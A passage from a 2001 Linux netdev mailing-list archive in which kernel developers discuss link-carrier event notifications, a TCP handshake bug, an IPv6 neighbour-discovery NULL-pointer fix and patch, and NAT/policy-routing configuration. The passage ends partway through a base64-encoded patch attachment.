agents needed to special case those not to "ifup" on registration. It's not clear to me that there is a single state model that all network drivers follow. Or: if there is one, it may be likely that the events reported for hotplug are the wrong ones. But it does seem to me that transitions to state (c) above are problematic just now. - Dave ----- Original Message ----- From: "Janice Girouard" To: Cc: ; Sent: Friday, May 04, 2001 9:07 AM Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified > When I look at the timer.c code in the tulip directory, > I can see that ethernet drivers are already using this flag > to show the health of the card. > > I also see > * xircom_cb.c set's this flag to show a link_status_changed. > * sis990.c (pci fast ethernet) set's this flag when the > link status changes > * via-rhine.c set's this flag to indicate link status changes > * the device driver for the 4 port serial controller i2o_lan.c sets > this initially, however never shows state changes > * i2o_lan.c uses this flag uses this flag to indicate if the > link is up or down. > > The error handling of networks cards is exactly the problem I'm > trying to solve without having a tulip_timer routine for each driver. > > > __________________________________________________________________ > Janice Girouard > girouard@us.ibm.com > 512-838-7981 > > > ---------------------- Forwarded by Janice Girouard/Austin/IBM on > 04/05/2001 10:31 --------------------------- > > Roger Venning on 04/05/2001 01:07:24 > > To: "David S. Miller" > cc: Janice Girouard/Austin/IBM@IBMUS, netdev@oss.sgi.com > Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified > > > > On Thu, 3 May 2001, David S. Miller wrote: > > > > > > It is not a physical state change. This state bit is meant only as a > > hack for the isdn layers dial on demand like functionality. > > > > This is not the kind of state change the notifier chain listeners are > > interested in. It would be meaningless for the notifiers to run > > every time I yank my ethernet cable out of the card on my machine :-) > > (presuming first that these events can be propagated up to user space > through some kind of listen on a socket style API, something that I don't > think is possible _yet_) > > I beg to differ a little. Considering the case with the machine has > multiple network interfaces, and a mobile IP (RFC2002 and > friends) capability, this kind of notification is crucial to smoothly > transferring traffic onto other available interfaces (think mobile pda > with ethernet & wide area cellular data). This is just one instance of > 'middleware' style applications that would prefer not to poll this kind of > state. > > Roger. > > > > > Later, > > David S. Miller > > davem@redhat.com > > > > -- > Roger Venning - Technologist - Telstra Research Laboratories > > For a successful technology, reality must take > precedence over public relations, for Nature > cannot be fooled. Richard Feynman > > > > From owner-netdev@oss.sgi.com Fri May 4 12:31:59 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44JVxj22509 for netdev-outgoing; Fri, 4 May 2001 12:31:59 -0700 Received: from mta1.snfc21.pbi.net (mta1.snfc21.pbi.net [206.13.28.122]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f44JVvF22505 for ; Fri, 4 May 2001 12:31:57 -0700 Received: from krypton ([206.170.7.121]) by mta1.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with SMTP id <0GCT006DSSSN8H@mta1.snfc21.pbi.net> for netdev@oss.sgi.com; Fri, 4 May 2001 12:29:13 -0700 (PDT) Date: Fri, 04 May 2001 12:28:50 -0700 From: David Brownell Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified To: Janice Girouard Cc: davem@redhat.com, c729953@vus068.trl.telstra.com.au, netdev@oss.sgi.com Message-id: <0abb01c0d4d0$7365a060$6800000a@brownell.org> MIME-version: 1.0 X-Mailer: Microsoft Outlook Express 5.50.4133.2400 Content-type: text/plain; charset="iso-8859-1" Content-transfer-encoding: 7bit X-MSMail-Priority: Normal X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 References: X-Priority: 3 Sender: owner-netdev@oss.sgi.com Precedence: bulk > I'm not sure I understand your comment. When you say > "But it does seem to me that transitions to state (c) above > are problematic just now." are you saying you don't think > that we are currently able to mark transitions to state (c). It's only a local marking. If Andi implements a mechanism and first client for it, then that'll fix this issue. > Or are you saying that we will never be able to mark transitions > to state (c). I do think it's rather hit and miss right now. I want to know exactly what that transition means, too. Notice that I was putting this event in the context of a state model for interfaces. Are all LINK_STATE flag combinations legal? Which transitions trigger which kinds of events (including hotplug reports)? > But, it seems like this problem could be solved. Yes, but it's not obvious to me what should be done. - Dave > > Janice > > __________________________________________________________________ > Janice Girouard > girouard@us.ibm.com > 512-838-7981 > > > > David Brownell on 04/05/2001 12:19:38 > > To: Janice Girouard/Austin/IBM@IBMUS, davem@redhat.com > cc: c729953@vus068.trl.telstra.com.au, netdev@oss.sgi.com > Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified > > > > Consider these states, which most network drivers go > through in about this order (if they distinguish them): > > (a) network interface (hardware) is present > (b) interface is registered > (c) hardware is connected/usable (say, carrier present) > (d) interface is "up" > > I've noticed two issues automating transitions between > these states, such as by network hotplugging through user > mode policy agents. Maybe someone has clean solutions > in the current 2.4 code; I've assumed these are 2.5 issues: > > - Some hardware, such as USB-to-USB bridges (in the > "usbnet" driver, 2.4.*-ac series), most naturally want > to trigger hotplugging when entering state (c), rather > than state (b) ... gotta look at the host on the other side > and see what it says, before a user mode policy agent > can go to (d) via static config, DHCP, or whatever. > > ISSUE: there's no event to report there! > > - Some types of interface (at least ppp, ippp, isdn, plip, lo ...) > seem to enter (d) before (b). > > ISSUE: the network hotplug agents needed to special > case those not to "ifup" on registration. > > It's not clear to me that there is a single state model that all > network drivers follow. Or: if there is one, it may be likely > that the events reported for hotplug are the wrong ones. > > But it does seem to me that transitions to state (c) above > are problematic just now. > > - Dave > > > > ----- Original Message ----- > From: "Janice Girouard" > To: > Cc: ; > Sent: Friday, May 04, 2001 9:07 AM > Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified > > > > When I look at the timer.c code in the tulip directory, > > I can see that ethernet drivers are already using this flag > > to show the health of the card. > > > > I also see > > * xircom_cb.c set's this flag to show a link_status_changed. > > * sis990.c (pci fast ethernet) set's this flag when the > > link status changes > > * via-rhine.c set's this flag to indicate link status changes > > * the device driver for the 4 port serial controller i2o_lan.c sets > > this initially, however never shows state changes > > * i2o_lan.c uses this flag uses this flag to indicate if the > > link is up or down. > > > > The error handling of networks cards is exactly the problem I'm > > trying to solve without having a tulip_timer routine for each driver. > > > > > > __________________________________________________________________ > > Janice Girouard > > girouard@us.ibm.com > > 512-838-7981 > > > > > > ---------------------- Forwarded by Janice Girouard/Austin/IBM on > > 04/05/2001 10:31 --------------------------- > > > > Roger Venning on 04/05/2001 01:07:24 > > > > To: "David S. Miller" > > cc: Janice Girouard/Austin/IBM@IBMUS, netdev@oss.sgi.com > > Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is > modified > > > > > > > > On Thu, 3 May 2001, David S. Miller wrote: > > > > > > > > > > It is not a physical state change. This state bit is meant only as a > > > hack for the isdn layers dial on demand like functionality. > > > > > > This is not the kind of state change the notifier chain listeners are > > > interested in. It would be meaningless for the notifiers to run > > > every time I yank my ethernet cable out of the card on my machine :-) > > > > (presuming first that these events can be propagated up to user space > > through some kind of listen on a socket style API, something that I don't > > think is possible _yet_) > > > > I beg to differ a little. Considering the case with the machine has > > multiple network interfaces, and a mobile IP (RFC2002 and > > friends) capability, this kind of notification is crucial to smoothly > > transferring traffic onto other available interfaces (think mobile pda > > with ethernet & wide area cellular data). This is just one instance of > > 'middleware' style applications that would prefer not to poll this kind > of > > state. > > > > Roger. > > > > > > > > Later, > > > David S. Miller > > > davem@redhat.com > > > > > > > -- > > Roger Venning - Technologist - Telstra Research Laboratories > > > > For a successful technology, reality must take > > precedence over public relations, for Nature > > cannot be fooled. Richard Feynman > > > > > > > > > > > From owner-netdev@oss.sgi.com Fri May 4 14:50:36 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f44Loat25906 for netdev-outgoing; Fri, 4 May 2001 14:50:36 -0700 Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f44LoXF25903 for ; Fri, 4 May 2001 14:50:33 -0700 Received: from alan by the-village.bc.nu with local (Exim 2.12 #1) id 14vnWx-000860-00 for netdev@oss.sgi.com; Fri, 4 May 2001 22:54:31 +0100 Received: from w133-5.echostar.com ([204.76.133.5] helo=ultra.echostar.com) by the-village.bc.nu with esmtp (Exim 2.12 #1) id 14vmcU-000809-00 for alan@lxorguk.ukuu.org.uk; Fri, 4 May 2001 21:56:10 +0100 Received: from echostar.com ([172.20.240.229]) by ultra.echostar.com (8.9.3/8.9.3) with ESMTP id QAA31781; Fri, 4 May 2001 16:51:10 -0400 Message-ID: <3AF3163E.2CCD2868@echostar.com> Date: Fri, 04 May 2001 14:51:10 -0600 From: Andre Delafontaine X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-1 i686) X-Accept-Language: en MIME-Version: 1.0 To: alan@lxorguk.ukuu.org.uk CC: AndreE Subject: Dropped ack and 2.2.19 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk Alan, We are having some trouble with RedHat's 2.2.19 kernel talking TCP when the ack of the syn-ack during the 3 way handshake gets dropped. The kernel has no additional patches, but has been recompiled. tcpdump trace of RedHat's 2.2.19, decom01-gr is running Linux, nrs02-pu is running Tru64 4.0d: 10:24:42.007945 > decom51-gr.dish.uplink.1016 > nrs02-pu.dish.uplink.1022: S 2181164545:2181164545(0) win 32120 (DF) 10:24:42.049098 < nrs02-pu.dish.uplink.1022 > decom51-gr.dish.uplink.1016: S 1985791700:1985791700(0) ack 2181164546 win 33580 (DF) *** this ack gets lost *** 10:24:42.049198 > decom51-gr.dish.uplink.1016 > nrs02-pu.dish.uplink.1022: . 1:1(0) ack 1 win 32120 (DF) *** nrs02 retransmits syn-ack *** 10:24:48.505996 < nrs02-pu.dish.uplink.1022 > decom51-gr.dish.uplink.1016: S 1985791700:1985791700(0) ack 2181164546 win 33580 (DF) *** nrs02 retransmits syn-ack *** 10:25:13.007212 < nrs02-pu.dish.uplink.1022 > decom51-gr.dish.uplink.1016: S 1985791700:1985791700(0) ack 2181164546 win 33580 (DF) *** nrs02 resets link, but even then Linux does not respond *** 10:25:57.507858 < nrs02-pu.dish.uplink.1022 > decom51-gr.dish.uplink.1016: R 0:0(0) ack 1 win 33580 (DF) 20 minutes later, connection has not timed out. The problem does not occur with RedHat's 2.2.17-14: 13:29:55.168486 > decom51-gr.dish.uplink.1016 > nrs02-pu.dish.uplink.1019: S 1023562949:1023562949(0) win 32120 (DF) 13:29:55.213289 < nrs02-pu.dish.uplink.1019 > decom51-gr.dish.uplink.1016: S 129268475:129268475(0) ack 1023562950 win 33580 (DF) *** this ack gets lost *** 13:29:55.213360 > decom51-gr.dish.uplink.1016 > nrs02-pu.dish.uplink.1019: . 1:1(0) ack 1 win 32120 (DF) *** nrs02 retransmits syn-ack *** 13:30:01.275229 < nrs02-pu.dish.uplink.1019 > decom51-gr.dish.uplink.1016: S 129268475:129268475(0) ack 1023562950 win 33580 (DF) *** Linux resends ack *** 13:30:01.275293 > decom51-gr.dish.uplink.1016 > nrs02-pu.dish.uplink.1019: . 1:1(0) ack 1 win 32120 (DF) 13:30:01.320754 < nrs02-pu.dish.uplink.1020 > decom51-gr.dish.uplink.shell: P 6:15(9) ack 1 win 33580 (DF) Please let me know if you want any extra info. Andre -- andre.delafontaine at echostar.com F20 DSS: BD75 66D9 5B2C 66CE 9158 BB27 B199 59CE D117 4E9F F16 RSA: F8 04 FE 50 02 B5 03 02 F6 87 C7 8D F9 2E B8 58 From owner-netdev@oss.sgi.com Fri May 4 18:26:00 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f451Q0831171 for netdev-outgoing; Fri, 4 May 2001 18:26:00 -0700 Received: from shell.cyberus.ca (shell.cyberus.ca [209.195.95.7]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f451PxF31168 for ; Fri, 4 May 2001 18:25:59 -0700 Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.9.3/666/Cyberus Online Inc.) with ESMTP id VAA18464; Fri, 4 May 2001 21:24:08 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Fri, 4 May 2001 21:24:08 -0400 (EDT) From: jamal To: Andi Kleen cc: "David S. Miller" , Janice Girouard , Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified In-Reply-To: <20010504201702.A1011@fred.local> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Fri, 4 May 2001, Andi Kleen wrote: > On Fri, May 04, 2001 at 02:01:52AM +0200, David S. Miller wrote: > > Not the current ones. > > It would be useful in some cases to trigger a TCP retransmit though. > This is needed for good behaviour on dynamic IP addresses with the ip_dynaddr > hack. ip_dynaddr can only rewrite the socket from the dummy dialdevice address > to the real dynamic address when it gets a retransmit from transport layer. > When IFF_DYNAMIC is set it makes sense to have a notifier in TCP listen > to it and call tcp_simple_retransmit(). > > [implementing this is on my todo list and I hopefully will get to it soon...] > As well as SCTP could use this for failover. If i am not mistaken it was Alexey that removed this from the netlink interface sometime around 2.3. The problem was that link notification was done at interupt context and netlink is not comfortable there. With 2.5 changes proposed that should be a non-issue. Andi, I suggest you leave the current interface as is. Just register to receive the messages and work around the interupt context issues. This way other parties interested (such as user space proggies) can use it to innovate their own applications. Come to think of it: How does cardbus/pcmcia netcard insertion work? That sends a netlink message and if i am not mistaken in interupt context. cheers, jamal From owner-netdev@oss.sgi.com Fri May 4 18:47:13 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f451lDR31950 for netdev-outgoing; Fri, 4 May 2001 18:47:13 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f451lCF31947 for ; Fri, 4 May 2001 18:47:12 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA21702; Fri, 4 May 2001 18:46:12 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15091.23396.515412.928664@pizda.ninka.net> Date: Fri, 4 May 2001 18:46:12 -0700 (PDT) To: Pekka Savola Cc: "Maciej 'Agaran' Pijanka" , NetDevel List , , linux-kernel@vger.kernel.org Subject: [PATCH] (was Re: 2.4.4 & IPv6 oopses) In-Reply-To: References: X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Pekka Savola writes: > struct in6_addr *saddr = NULL; > [...] > if (skb && ipv6_chk_addr(&skb->nh.ipv6h->saddr, dev)) > saddr = &skb->nh.ipv6h->saddr; > [...] > ndisc_send_ns(dev, neigh, target, target, saddr); > [...] > This check apparently fails? and saddr is left null. Yes, it can fail, and this is normal. The problem is in ndisc_send_ns(). > in ndisc_send_ns, NULL saddr is checked: > > send_llinfo = dev->addr_len && ipv6_addr_type(saddr) != IPV6_ADDR_ANY; > > which make a null ptr dereference. send_llinfo check was added recently > to fix RFC incompliancy a week or so ago. A few lines later we setup saddr properly if it is NULL, what we need to do is either: 1) Move that "if (saddr == NULL)" code block up above the send_llinfo check. I think this would break the thing the send_llinfo check was meant to fix, but I can't be sure. 2) Just check for NULL saddr in the send_llinfo check and if NULL then send_llinfo is set to zero. For now, I've put solution #2 into my tree, patch attached below. --- linux/net/ipv6/ndisc.c.~1~ Thu May 3 00:01:10 2001 +++ linux/net/ipv6/ndisc.c Fri May 4 18:44:54 2001 @@ -382,7 +382,7 @@ int send_llinfo; len = sizeof(struct icmp6hdr) + sizeof(struct in6_addr); - send_llinfo = dev->addr_len && ipv6_addr_type(saddr) != IPV6_ADDR_ANY; + send_llinfo = dev->addr_len && saddr && ipv6_addr_type(saddr) != IPV6_ADDR_ANY; if (send_llinfo) len += NDISC_OPT_SPACE(dev->addr_len); From owner-netdev@oss.sgi.com Fri May 4 18:50:34 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f451oYH32331 for netdev-outgoing; Fri, 4 May 2001 18:50:34 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f451oXF32328 for ; Fri, 4 May 2001 18:50:34 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA22180; Fri, 4 May 2001 18:50:31 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15091.23655.488243.650394@pizda.ninka.net> Date: Fri, 4 May 2001 18:50:31 -0700 (PDT) To: jamal Cc: Andi Kleen , Janice Girouard , Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified In-Reply-To: References: <20010504201702.A1011@fred.local> X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk jamal writes: > Come to think of it: How does cardbus/pcmcia netcard insertion work? That > sends a netlink message and if i am not mistaken in interupt context. I believe these events get sent to the cardmgr daemon and it does all the ifconf magic to change the device state. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Fri May 4 23:05:34 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4565Yj04052 for netdev-outgoing; Fri, 4 May 2001 23:05:34 -0700 Received: from isis.its.uow.edu.au (isis.its.uow.edu.au [130.130.68.21]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4565VF04049 for ; Fri, 4 May 2001 23:05:32 -0700 Received: from uow.edu.au (wumpus.its.uow.edu.au [130.130.68.12]) by isis.its.uow.edu.au (8.9.3/8.9.3) with ESMTP id QAA09818; Sat, 5 May 2001 16:04:51 +1000 (EST) Message-ID: <3AF397BD.36F12925@uow.edu.au> Date: Sat, 05 May 2001 16:03:41 +1000 From: Andrew Morton X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.3-ac13 i686) X-Accept-Language: en MIME-Version: 1.0 To: jamal CC: Andi Kleen , "David S. Miller" , Janice Girouard , netdev@oss.sgi.com Subject: Re: NETDEV_CHANGE events when __LINK_STATE_NOCARRIER is modified References: <20010504201702.A1011@fred.local> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk jamal wrote: > > Come to think of it: How does cardbus/pcmcia netcard insertion work? That > sends a netlink message and if i am not mistaken in interupt context. schedule_task(). The now-standard way of punting asynchronous events up into process context. Yeah, we need to sort out the netif_carrier stuff. Some userspace apps want async notifications when the ethernet is unplugged - high availability failover and desktop GUIs come to mind. At present, if the driver happens to implement it you still need to poll the kernel, and the result you get is munged together with the result of netif_running(). It'd be better if netif_carrier_on/off were to send up a select()able message of some form. rtnetlink would be fine. From owner-netdev@oss.sgi.com Sat May 5 08:00:55 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f45F0th12277 for netdev-outgoing; Sat, 5 May 2001 08:00:55 -0700 Received: from postal.paktronix.com (pak200.pakuni.net [207.91.34.200]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f45F0rF12274 for ; Sat, 5 May 2001 08:00:53 -0700 Received: from netmonster.pakint.net (netmonster.pakint.net [192.168.3.13]) by postal.paktronix.com (8.9.3/8.9.3) with ESMTP id KAA29966; Sat, 5 May 2001 10:51:18 -0500 Date: Sat, 5 May 2001 10:06:51 -0500 (CDT) From: "Matthew G. Marsh" X-X-Sender: To: Phil Karn cc: , , Subject: Re: Problems with NAT/Masq and ipip on 2.4.[34] In-Reply-To: <200104280614.f3S6EIU01049@homer.ka9q.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Fri, 27 Apr 2001, Phil Karn wrote: > Until recently I had been tracking the 2.2.x kernel series. Since > I installed 2.4.3 (and just now 2.4.4) I have been unable to make > IP masquerading/NAT work. > > If I configure policy routing on and netfilter off, I can establish my > existing policy tables that deal with my rather complex ipip tunnel & > NAT configuration. Everything works as it did under 2.2.19 *except* > that policy entries calling for masquerading no longer work. Reading below - Quick answer: You can configure netfilter on but _not_ conntrack or any of the NAT funtions iff you want to use map-to (FastNAT). FastNAT will coexist quite nicely with NetFilter including the mangle table (for nfmark'ing) so long as conntrack is never loaded. > Here is the output of "ip rule list": > > 0: from all lookup local > 10: from 199.106.106.0/28 lookup ka9q > 11: from 129.46.253.96/28 lookup qualcomm > 20: from 192.168.0.0/24 iif eth0 lookup main map-to 24.130.169.53 At this point you can make a decision. Instead of using FastNAT you can use SNAT in many-to-one mode to coalesce this mapping. Essentially the SNAT happens in the Post-Routing stage which is after the RPDB (rules etc) has been traversed. If you decide to use SNAT then you can remove Rule 20 (as default rule 32766 will take care of the situation) and use something such as: iptables -t nat -A POSTROUTING -o eth1 -s 192.168.0/24 \ -j SNAT --to 24.130.169.53 > 32766: from all lookup main > 32767: from all lookup default > > And here are my routing tables and interfaces: > > bash-2.03$ ip route list > 199.106.116.12/30 dev eth0 proto kernel scope link src 199.106.116.14 > 129.46.253.96/29 dev eth0 proto kernel scope link src 129.46.253.98 > 199.106.106.0/28 dev eth0 proto kernel scope link src 199.106.106.3 > 10.0.0.0/24 dev eth0 proto kernel scope link src 10.0.0.2 > 129.46.0.0/16 via 129.46.253.97 dev eth0 > 224.0.0.0/8 dev eth0 scope link src 199.106.106.3 > default via 24.130.168.1 dev eth1 src 24.130.169.53 onlink Default Rule 32766 will ensure that all packets not accounted for will take this default route. This default route will then end up sending those packets into the SNAT mapping above. > bash-2.03$ ip route list table ka9q > 199.106.106.0/28 dev eth0 scope link > 10.0.0.0/24 dev eth0 scope link > default via 192.35.156.12 dev tunl0 onlink > bash-2.03$ ip route list table qualcomm > default via 129.46.253.97 dev eth0 > bash-2.03$ ifconfig eth0 > eth0 Link encap:Ethernet HWaddr 00:03:47:39:74:AE > inet addr:199.106.106.3 Bcast:199.106.106.15 Mask:255.255.255.240 > UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1 > RX packets:352 errors:0 dropped:0 overruns:0 frame:0 > TX packets:2846 errors:0 dropped:0 overruns:0 carrier:0 > collisions:0 txqueuelen:100 > Interrupt:11 Base address:0xe000 > > bash-2.03$ ifconfig eth1 > eth1 Link encap:Ethernet HWaddr 00:A0:24:4A:BF:FD > inet addr:24.130.169.53 Bcast:24.255.255.255 Mask:255.255.255.255 > UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 > RX packets:4964 errors:0 dropped:0 overruns:0 frame:0 > TX packets:5085 errors:0 dropped:0 overruns:0 carrier:0 > collisions:16 txqueuelen:100 > Interrupt:7 Base address:0xdf80 > bash-2.03$ ifconfig tunl0 > tunl0 Link encap:IPIP Tunnel HWaddr > inet addr:24.130.169.53 Mask:255.255.255.255 > UP RUNNING NOARP MTU:1480 Metric:1 > RX packets:222 errors:0 dropped:0 overruns:0 frame:0 > TX packets:214 errors:0 dropped:0 overruns:0 carrier:0 > collisions:0 txqueuelen:0 > > The "map-to" policy entry worked fine under 2.2.19 but is apparently > ignored under 2.4.3 and 2.4.4; packets from 192.168.0.0/24 go out > un-NATed. The same happens if I make the map-to address null, in which > case the "map-to" keyword is replaced with "masquerade". True iff conntrack is loaded. I am assuming of course that you are using a rule similar to: ip rule add from 192.168.0/24 nat 24.130.169.53 prio 20 > Is 2.4.x supposed to be backward compatible with the 2.2.x style > policy routing and NAT mechanism? Or must I use the ipchains module > under netfilter to reimplement this? Yes - No - Never got it to work completely. Yes to compatibility bearing in mind the interactions mentioned above. No you do not need to use the ipchains module iff the SNAT would work (and your situation does not seem complex enough to warrent the fiddling). And I have never gotten the "src" mapping to work with the ipchains module. This brings up the point that what is actually performing the Masquerade in your situation above is the "src" parameter to your route. In IPCHAINS iff you had a Masquerade parameter on your Forward chain then ipchains would default to using the value of the "src" parameter for all Masq'ed traffic. IE: If you had a dev dummy0 with 10.1.1.1/32 addressing and you then issued on your system above a route such as: ip ro ad default via 24.130.169.1 src 10.1.1.1 table main Then all outgoing masq'ed packets would have thier src address set to 10.1.1.1 - Cool trick that I used extensively under IPCHAINS. > I tried a kernel with netfilter turned on, but I was then no longer > able to load the ipip.o module that I use for tunneling. I get two > unresolved symbols from insmod: nf_hooks and nf_hooks_slow. Yet both > symbols *are* mentioned in /System.map. Weird. This persisted even > after a 'make clean' and remake. Best to compile the tunnel into the kernel (IE: CONFIG_NET_IPIP=y and CONFIG_NET_GRE=y) as if they are not used they do not hurt anything. > Appended is my /usr/src/linux/.config file with netfilter turned > off. Following that is the output of /usr/src/linux/scripts/ver_linux. > > Thanks, > > Phil Karn [snip] Let me know if you need more - BTW: http://www.policyrouting.org -------------------------------------------------- Matthew G. Marsh, President Paktronix Systems LLC 1506 North 59th Street Omaha NE 68104 Phone: (402) 932-7250 x101 Email: mgm@paktronix.com WWW: http://www.paktronix.com -------------------------------------------------- From owner-netdev@oss.sgi.com Sat May 5 10:08:20 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f45H8K515591 for netdev-outgoing; Sat, 5 May 2001 10:08:20 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f45H8HF15588 for ; Sat, 5 May 2001 10:08:18 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f45H8GA21247 for ; Sat, 5 May 2001 20:08:16 +0300 Date: Sat, 5 May 2001 20:08:15 +0300 (EEST) From: Pekka Savola To: Subject: PATCH: IPv6 ndisc.c: rfc fixes, net_ratelimit(), typos Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1589707168-1641526534-989081707=:21104" Content-ID: Sender: owner-netdev@oss.sgi.com Precedence: bulk This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1589707168-1641526534-989081707=:21104 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Hi, Attached are two patches against ~2.4.4 net/ipv6/ndisc.c. First is a real patch, the second is just commentary based on top of the first one. It documents a few MUST RFC-incompliances (feel free to check/fix! :-) I came across in the whereabouts they could be dealt with. I'll continue checking against that RFC in two weeks when I have more time. The first patch: 1) move hop-limit 255 check to affect all ndisc messages 2) RA processing: source must be link-local. Based on thread: IPv6: Incoming RA source-address may be non- link-local 3) all ndisc messages must have ICMP code 0 4) all ndisc messages must be of sane length (struct nd_router_solicit etc. in glibc; the headers are out of date unfortunately) 5) NS processing: target address must not be multicast All of the are MUST items in RFC2461. 6) two SHOULD items in advertising; discussion in thread: IPv6: NS -> NA reply RFC2461 SHOULD considerations [patch] 7) net_ratelimit() all warning printk's in ndisc.c. 8) correct two typos in printk's. Notes: - I upped hlim 255 printk level from INFO to WARNING (INFO wasn't otherwise used in this file anyway, the same level as others) - Not sure if there should be some extra command for ROUTER_SOLICITATION to properly discard the packet. I've run these on two ~2.4.4 systems systems, host and router, without apparent problems or new kernel warning messages. Feedback of course always welcome. Btw: for the record, the patch in: [PATCH] (was Re: 2.4.4 & IPv6 oopses) fixed the ipv6 oopses I was having. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords --1589707168-1641526534-989081707=:21104 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="ndisc-rfc.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="ndisc-rfc.patch" LS0tIG5kaXNjLmMub2ZmaWMJV2VkIEFwciAyNSAyMjo0NjozNSAyMDAxDQor KysgbmRpc2MuYwlTYXQgTWF5ICA1IDE4OjMzOjI5IDIwMDENCkBAIC0yMSw2 ICsyMSw3IEBADQogICoJSmFub3MgRmFya2FzCQkJOglrbWFsbG9jIGZhaWx1 cmUgY2hlY2tzDQogICoJQWxleGV5IEt1em5ldHNvdgkJOglzdGF0ZSBtYWNo aW5lIHJld29ya2VkDQogICoJCQkJCQlhbmQgbW92ZWQgdG8gbmV0L2NvcmUu DQorICoJUGVra2EgU2F2b2xhCQkJOglSRkMyNDYxIHZhbGlkYXRpb24NCiAg Ki8NCiANCiAvKiBTZXQgdG8gMyB0byBnZXQgdHJhY2luZy4uLiAqLw0KQEAg LTU4MSw5ICs1ODIsOSBAQA0KIA0KIAlvcHRsZW4gPSAoc2tiLT50YWlsIC0g c2tiLT5oLnJhdykgLSBzaXplb2Yoc3RydWN0IHJhX21zZyk7DQogDQotCWlm IChza2ItPm5oLmlwdjZoLT5ob3BfbGltaXQgIT0gMjU1KSB7DQotCQlwcmlu dGsoS0VSTl9JTkZPDQotCQkgICAgICAgIk5ESVNDOiBmYWtlIHJvdXRlciBh ZHZlcnRpc21lbnQgcmVjZWl2ZWRcbiIpOw0KKwlpZiAoIShpcHY2X2FkZHJf dHlwZSgmc2tiLT5uaC5pcHY2aC0+c2FkZHIpICYgSVBWNl9BRERSX0xJTktM T0NBTCkpIHsNCisJCWlmIChuZXRfcmF0ZWxpbWl0KCkpDQorCQkJcHJpbnRr KEtFUk5fV0FSTklORyAiSUNNUCBSQTogc291cmNlIGFkZHJlc3MgaXMgbm90 IGxpbmtsb2NhbFxuIik7DQogCQlyZXR1cm47DQogCX0NCiANCkBAIC03NTYs MTMgKzc1Nyw5IEBADQogCWludCBvbl9saW5rID0gMDsNCiAJaW50IG9wdGxl bjsNCiANCi0JaWYgKHNrYi0+bmguaXB2NmgtPmhvcF9saW1pdCAhPSAyNTUp 